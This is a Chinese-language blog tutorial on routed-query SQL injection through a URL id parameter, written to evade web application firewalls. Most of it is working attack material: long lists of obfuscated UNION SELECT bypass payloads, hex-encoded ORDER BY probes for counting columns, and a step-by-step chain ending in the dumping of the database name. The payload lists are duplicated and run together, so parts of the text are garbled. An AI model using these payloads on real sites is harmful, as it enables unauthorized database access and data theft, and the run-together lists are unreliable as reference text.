![图片[1] - SQL注入系列之路由查询(高级 WAF 绕过) - 奋斗资源网](https://www.heikeblog.com/wp-content/themes/lensnews2.2/includes/timthumb.php?src=https://www.heikeblog.com/wp-content/uploads/2021/05/2021052015005327.jpg&h=338&w=600)
如果使用给定查询很难绕过 WAF,则路由查询可能会有帮助。
确定有效负载有多少列
http://domain.com/index.php?id=-1 Union Select 0x3127,2,3,40x3127 = 1'(0xHEX 转换)http://domain.com/index.php?id=-1 Union Select 1,0x3227,3,40x3227 = 2'(0xHEX 转换)http://domain.com/index.php?id=-1 Union Select 1,2,0x3327,40x3327 = 3'(0xHEX 转换)http://domain.com/index.php?id=-1 Union Select 1,2,3,0x34270x3427 = 4'(0xHEX 转换)http://domain.com/index.php?id=-1 Union Select 0x3127,2,3,40x3127 = 1'(0xHEX 转换) http://domain.com/index.php?id=-1 Union Select 1,0x3227,3,40x3227 = 2'(0xHEX 转换) http://domain.com/index.php?id=-1 Union Select 1,2,0x3327,40x3327 = 3'(0xHEX 转换) http://domain.com/index.php?id=-1 Union Select 1,2,3,0x34270x3427 = 4'(0xHEX 转换)http://domain.com/index.php?id=-1 Union Select 0x3127,2,3,40x3127 = 1'(0xHEX 转换) http://domain.com/index.php?id=-1 Union Select 1,0x3227,3,40x3227 = 2'(0xHEX 转换) http://domain.com/index.php?id=-1 Union Select 1,2,0x3327,40x3327 = 3'(0xHEX 转换) http://domain.com/index.php?id=-1 Union Select 1,2,3,0x34270x3427 = 4'(0xHEX 转换)
例如,如果任何有效负载出现错误,则意味着相应的列号很容易被转储。在我们的例子中,第二个有效载荷给出了错误,这意味着我们可以开始转储第二列。
如果网站启用了 WAF,您可以使用以下基于 WAF 的 UNION 查询。只需替换Union Select为以下有效负载:
/*!50000%55nIoN*/ /*!50000%53eLeCt*/%55nion(%53elect 1,2,3)union+distinctROW+select+1,2,3,4-- -#?uNiOn + #?sEleCt#?1q %0AuNiOn all#qa%0A#%0AsEleCt/*!%55NiOn*/ /*!%53eLEct*/+un/**/ion+se/**/lect+?UnI?On?+'SeL?ECT?(UnIoN)+(SelECT)+1,2,3,4-- -+UnIoN/*&a=*/SeLeCT/*&a=*/%55nion(%53elect 1,2,3,4)-- -/**//*!12345UNION SELECT*//**//**//*!50000UNION SELECT*//**//**/UNION/**//*!50000SELECT*//**//*!50000UniON SeLeCt*/union /*!50000%53elect*//*!u%6eion*/ /*!se%6cect*//*--*/union/*--*/select/*--*/union (/*!/**/ SeleCT */ 1,2,3,4)-- -/*!union*/+/*!select*//**/uNIon/**/sEleCt/**/+%2F**/+Union/*!select*//**//*!union*//**//*!select*//**//*!uNIOn*/ /*!SelECt*//**/union/*!50000select*//**/0%a0union%a0select%09%0Aunion%0Aselect%0Auni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/%252f%252a*/UNION%252f%252a /SELECT%252f%252a*//*!union*//*--*//*!all*//*--*//*!select*/union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/+UnIoN/*&a=*/SeLeCT/*&a=*/union+sel%0bect+#1q%0Aunion all#qa%0A#%0Aselect%23xyz%0AUnIOn%23xyz%0ASeLecT+%23xyz%0A%55nIOn%23xyz%0A%53eLecT+union(select(1),2,3)uNioN (/*!/**/ SeleCT */ 11)/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/+UnIoN/*&a=*/SeLeCT/*&a=*/+/*!UnIoN*/+/*!SeLeCt*/+/*!u%6eion*/ /*!se%6cect*/uni%20union%20/*!select*/%20union%23aa%0Aselect/**/union/*!50000select*//^****union.*$/ /^****select.*$//*union*/union/*select*/select+/*!50000UnION*//*!50000SeLeCt*/%252f%252a*/union%252f%252a /select%252f%252a*//*!50000%55nIoN*/ /*!50000%53eLeCt*/ %55nion(%53elect 1,2,3) union+distinctROW+select+1,2,3,4-- - #?uNiOn + #?sEleCt #?1q %0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ +un/**/ion+se/**/lect +?UnI?On?+'SeL?ECT? (UnIoN)+(SelECT)+1,2,3,4-- - +UnIoN/*&a=*/SeLeCT/*&a=*/ %55nion(%53elect 1,2,3,4)-- - /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ /*!u%6eion*/ /*!se%6cect*/ /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3,4)-- - /*!union*/+/*!select*/ /**/uNIon/**/sEleCt/**/ +%2F**/+Union/*!select*/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ /**/union/*!50000select*//**/ 0%a0union%a0select%09 %0Aunion%0Aselect%0A uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ /*!union*//*--*//*!all*//*--*//*!select*/ union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ union+sel%0bect +#1q%0Aunion all#qa%0A#%0Aselect %23xyz%0AUnIOn%23xyz%0ASeLecT+ %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ union(select(1),2,3) uNioN (/*!/**/ SeleCT */ 11) /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ +/*!UnIoN*/+/*!SeLeCt*/+ /*!u%6eion*/ /*!se%6cect*/ uni%20union%20/*!select*/%20 union%23aa%0Aselect /**/union/*!50000select*/ /^****union.*$/ /^****select.*$/ /*union*/union/*select*/select+ /*!50000UnION*//*!50000SeLeCt*/ %252f%252a*/union%252f%252a /select%252f%252a*//*!50000%55nIoN*/ /*!50000%53eLeCt*/ %55nion(%53elect 1,2,3) union+distinctROW+select+1,2,3,4-- - #?uNiOn + #?sEleCt #?1q %0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ +un/**/ion+se/**/lect +?UnI?On?+'SeL?ECT? (UnIoN)+(SelECT)+1,2,3,4-- - +UnIoN/*&a=*/SeLeCT/*&a=*/ %55nion(%53elect 1,2,3,4)-- - /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ /*!u%6eion*/ /*!se%6cect*/ /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3,4)-- - /*!union*/+/*!select*/ /**/uNIon/**/sEleCt/**/ +%2F**/+Union/*!select*/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ /**/union/*!50000select*//**/ 0%a0union%a0select%09 %0Aunion%0Aselect%0A uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ /*!union*//*--*//*!all*//*--*//*!select*/ union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ union+sel%0bect +#1q%0Aunion all#qa%0A#%0Aselect %23xyz%0AUnIOn%23xyz%0ASeLecT+ %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ union(select(1),2,3) uNioN (/*!/**/ SeleCT */ 11) /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ +/*!UnIoN*/+/*!SeLeCt*/+ /*!u%6eion*/ /*!se%6cect*/ uni%20union%20/*!select*/%20 union%23aa%0Aselect /**/union/*!50000select*/ /^****union.*$/ /^****select.*$/ /*union*/union/*select*/select+ /*!50000UnION*//*!50000SeLeCt*/ %252f%252a*/union%252f%252a /select%252f%252a*/
在这种情况下,我使用了第一个 payload/*!50000%55nIoN*/
/*!50000%53eLeCt*/
,所以最终的 payload 是:http://domain.com/index.php?id=-1 /*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1,0x3227,3,4
payload 绕过 WAF 并给出 SQL 错误,这意味着第二列容易被转储。
查找列的数量(ORDER BY)
由于我们知道第二列是易受攻击的,就可以使用 ORDER BY 查询来转储它。
下面是 Union Distincs 查询,可以用它来进一步枚举:
and 0e0union distinctROW select 1,2,3,4and .0unIon distincrOw /*!50000sElect*/ 1,2,3,4AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4and mod(9,9) UNION SELECT 1,2,3,4'-,1union distinctrow%23aaaaaaaaaaaaaaa%0a select 1,2,3,4.0union distinct/**_**/Select 1,2,3,4union distinct selec%54 1,2,3,4UniOn DISTINCTROW sEleCt 1,2,3,4union distinct select 1,2,3,4union distinctROW select 1,2,3,4and 0e0union distinctROW select 1,2,3,4 and .0unIon distincrOw /*!50000sElect*/ 1,2,3,4 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4 and mod(9,9) UNION SELECT 1,2,3,4 '-,1union distinctrow%23aaaaaaaaaaaaaaa%0a select 1,2,3,4 .0union distinct/**_**/Select 1,2,3,4 union distinct selec%54 1,2,3,4 UniOn DISTINCTROW sEleCt 1,2,3,4 union distinct select 1,2,3,4 union distinctROW select 1,2,3,4and 0e0union distinctROW select 1,2,3,4 and .0unIon distincrOw /*!50000sElect*/ 1,2,3,4 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4 and mod(9,9) UNION SELECT 1,2,3,4 '-,1union distinctrow%23aaaaaaaaaaaaaaa%0a select 1,2,3,4 .0union distinct/**_**/Select 1,2,3,4 union distinct selec%54 1,2,3,4 UniOn DISTINCTROW sEleCt 1,2,3,4 union distinct select 1,2,3,4 union distinctROW select 1,2,3,4
在例子中,以下有效负载完成了这项工作:http://domain.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4
替换数字,因此最终的有效负载将是:http://domain.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,0x32204f524445522042592031,3,4 其中 0x32204f524445522042592031 = 2 ORDER BY 1(0xHEX 转换)
有效载荷不得显示错误。继续将数字增加 1,直到看到错误。用以下十六进制替换有效负载上的 0xHEX 值,直到收到错误。
2 ORDER BY 1 -> 0x32204f5244455220425920312 ORDER BY 2 -> 0x32204f5244455220425920322 ORDER BY 3 -> 0x32204f5244455220425920332 ORDER BY 4 -> 0x32204f5244455220425920342 ORDER BY 5 -> 0x32204f5244455220425920352 ORDER BY 6 -> 0x32204f5244455220425920362 ORDER BY 7 -> 0x32204f5244455220425920372 ORDER BY 8 -> 0x32204f5244455220425920382 ORDER BY 1 -> 0x32204f524445522042592031 2 ORDER BY 2 -> 0x32204f524445522042592032 2 ORDER BY 3 -> 0x32204f524445522042592033 2 ORDER BY 4 -> 0x32204f524445522042592034 2 ORDER BY 5 -> 0x32204f524445522042592035 2 ORDER BY 6 -> 0x32204f524445522042592036 2 ORDER BY 7 -> 0x32204f524445522042592037 2 ORDER BY 8 -> 0x32204f5244455220425920382 ORDER BY 1 -> 0x32204f524445522042592031 2 ORDER BY 2 -> 0x32204f524445522042592032 2 ORDER BY 3 -> 0x32204f524445522042592033 2 ORDER BY 4 -> 0x32204f524445522042592034 2 ORDER BY 5 -> 0x32204f524445522042592035 2 ORDER BY 6 -> 0x32204f524445522042592036 2 ORDER BY 7 -> 0x32204f524445522042592037 2 ORDER BY 8 -> 0x32204f524445522042592038
等等…
在我们的例子中,2 ORDER BY 8是给出 SQL 语法错误的最小数字,这意味着数据库有 7 列。
查找要转储数据的列数
以下查询称为Union Distinct Rows查询。因为第 7 列是易受攻击的,我们将在每个有效载荷前添加数字 7:
在我们的例子中,我将使用第 3 个有效载荷,因此复制 0xHEX 转换的有效载荷并在以下有效载荷中使用它:http://domain.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,0x3720416e4420706f696e742832392c3929202f2a213530303030556e494f4e2a2f202f2a21353030303053656c4563542a2f20312c322c332c342c352c362c37,3,4
在响应中,将显示一个数字,告诉我们易受攻击的列。在这种情况下,数字 6 很容易受到攻击。
从列中转储数据
因为我们使用了有效载荷2 AnD point(29,9) /!50000UnION/ /!50000SelEcT/ 1,2,3,4,5,6,7,并且因为数字 6 是易受攻击的(在网站响应中),所以我们的下一个有效载荷将是(只需将数字 6 替换为 concat()、DIOS 或简单的转储查询):
2 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4,5,database(),7
将其转换为 0xHEX 并粘贴到下一个有效负载中:
http://domain.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,0x3720416e4420706f696e742832392c3929202f2a213530303030556e494f4e2a2f202f2a21353030303053656c4563542a2f20312c322c332c342c352c646174616261736528292c37,3,4
如此成功转储了数据库名称。
感谢您的来访,获取更多精彩文章请收藏本站。

暂无评论内容